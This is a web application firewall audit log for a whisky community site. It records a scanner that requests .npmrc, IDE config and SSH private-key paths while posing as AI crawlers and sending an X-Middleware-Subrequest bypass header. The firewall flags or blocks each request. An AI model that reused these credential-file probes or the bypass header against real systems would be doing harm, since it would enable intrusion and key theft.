X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--bb571177-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bb571177-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.npmrc"] [unique_id "aqaoGWM7dE9KgIIOpQiBqAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.npmrc"] [unique_id "aqaoGWM7dE9KgIIOpQiBqAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306905911517 240824 (- - -)
Stopwatch2: 1789306905911517 240824; combined=37275, p1=257, p2=36941, p3=0, p4=0, p5=77, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bb571177-Z--

--bde72c71-A--
[13/Sep/2026:16:41:46.373740 +0300] aqaoGmM7dE9KgIIOpQiBrQAAANE 34.182.226.0 36688 127.0.0.1 7081
--bde72c71-B--
POST /api/graphql HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
Origin: https://singlemaltcommunity.com
Referer: https://singlemaltcommunity.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--bde72c71-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bde72c71-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306906280873 92946 (- - -)
Stopwatch2: 1789306906280873 92946; combined=6378, p1=334, p2=5699, p3=0, p4=0, p5=344, sr=117, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bde72c71-Z--

--d391531b-A--
[13/Sep/2026:16:41:46.730330 +0300] aqaoGkwu1RSkptiiNIX@wwAAAIg 34.182.226.0 36704 127.0.0.1 7081
--d391531b-B--
POST /v1/graphql HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
Origin: https://singlemaltcommunity.com
Referer: https://singlemaltcommunity.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--d391531b-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d391531b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306906606148 124267 (- - -)
Stopwatch2: 1789306906606148 124267; combined=6328, p1=320, p2=5404, p3=0, p4=0, p5=603, sr=122, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d391531b-Z--

--6fbf876f-A--
[13/Sep/2026:16:41:47.537559 +0300] aqaoG0wu1RSkptiiNIX@xAAAAII 34.182.226.0 36778 127.0.0.1 7081
--6fbf876f-B--
GET /.idea/WebServers.xml HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6fbf876f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: application/xml; charset=UTF-8

--6fbf876f-H--
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqaoG0wu1RSkptiiNIX@xAAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqaoG0wu1RSkptiiNIX@xAAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306907400215 137565 (- - -)
Stopwatch2: 1789306907400215 137565; combined=39271, p1=291, p2=38856, p3=0, p4=0, p5=123, sr=121, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6fbf876f-Z--

--4eef6162-A--
[13/Sep/2026:16:41:47.866491 +0300] aqaoG2M7dE9KgIIOpQiBsgAAAMk 34.182.226.0 36806 127.0.0.1 7081
--4eef6162-B--
GET /.ssh/id_rsa HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4eef6162-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4eef6162-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_rsa"] [unique_id "aqaoG2M7dE9KgIIOpQiBsgAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_rsa"] [unique_id "aqaoG2M7dE9KgIIOpQiBsgAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306907676209 190348 (- - -)
Stopwatch2: 1789306907676209 190348; combined=37252, p1=241, p2=36927, p3=0, p4=0, p5=84, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4eef6162-Z--

--96bb7975-A--
[13/Sep/2026:16:41:47.963255 +0300] aqaoG2M7dE9KgIIOpQiBswAAANY 34.182.226.0 36810 127.0.0.1 7081
--96bb7975-B--
GET /.ssh/id_ed25519 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--96bb7975-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--96bb7975-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqaoG2M7dE9KgIIOpQiBswAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqaoG2M7dE9KgIIOpQiBswAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306907751131 212182 (- - -)
Stopwatch2: 1789306907751131 212182; combined=36314, p1=310, p2=35927, p3=0, p4=0, p5=76, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--96bb7975-Z--

--c1547c45-A--
[13/Sep/2026:16:41:48.094247 +0300] aqaoG2M7dE9KgIIOpQiBtAAAAM0 34.182.226.0 36820 127.0.0.1 7081
--c1547c45-B--
GET /.ssh/authorized_keys HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c1547c45-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c1547c45-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqaoG2M7dE9KgIIOpQiBtAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqaoG2M7dE9KgIIOpQiBtAAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306907951722 142604 (- - -)
Stopwatch2: 1789306907951722 142604; combined=32645, p1=370, p2=32208, p3=0, p4=0, p5=67, sr=128, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c1547c45-Z--

--ce94792b-A--
[13/Sep/2026:16:41:48.317137 +0300] aqaoHEwu1RSkptiiNIX@xwAAAJQ 34.182.226.0 36836 127.0.0.1 7081
--ce94792b-B--
GET /.ssh/config HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ce94792b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ce94792b-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/config"] [unique_id "aqaoHEwu1RSkptiiNIX@xwAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/config"] [unique_id "aqaoHEwu1RSkptiiNIX@xwAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306908125099 192099 (- - -)
Stopwatch2: 1789306908125099 192099; combined=40054, p1=259, p2=39738, p3=0, p4=0, p5=56, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ce94792b-Z--

--e3bdad7b-A--
[13/Sep/2026:16:41:48.483057 +0300] aqaoHGM7dE9KgIIOpQiBtwAAAMQ 34.182.226.0 36854 127.0.0.1 7081
--e3bdad7b-B--
GET /.ssh/id_ecdsa HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e3bdad7b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e3bdad7b-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBtwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBtwAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306908314160 168966 (- - -)
Stopwatch2: 1789306908314160 168966; combined=47139, p1=218, p2=31237, p3=0, p4=0, p5=7875, sr=86, sw=0, l=0, gc=7809
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e3bdad7b-Z--

--c42ce556-A--
[13/Sep/2026:16:41:48.591011 +0300] aqaoHGM7dE9KgIIOpQiBuAAAAMM 34.182.226.0 36868 127.0.0.1 7081
--c42ce556-B--
GET /.ssh/id_dsa HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c42ce556-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c42ce556-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_dsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBuAAAAMM"]
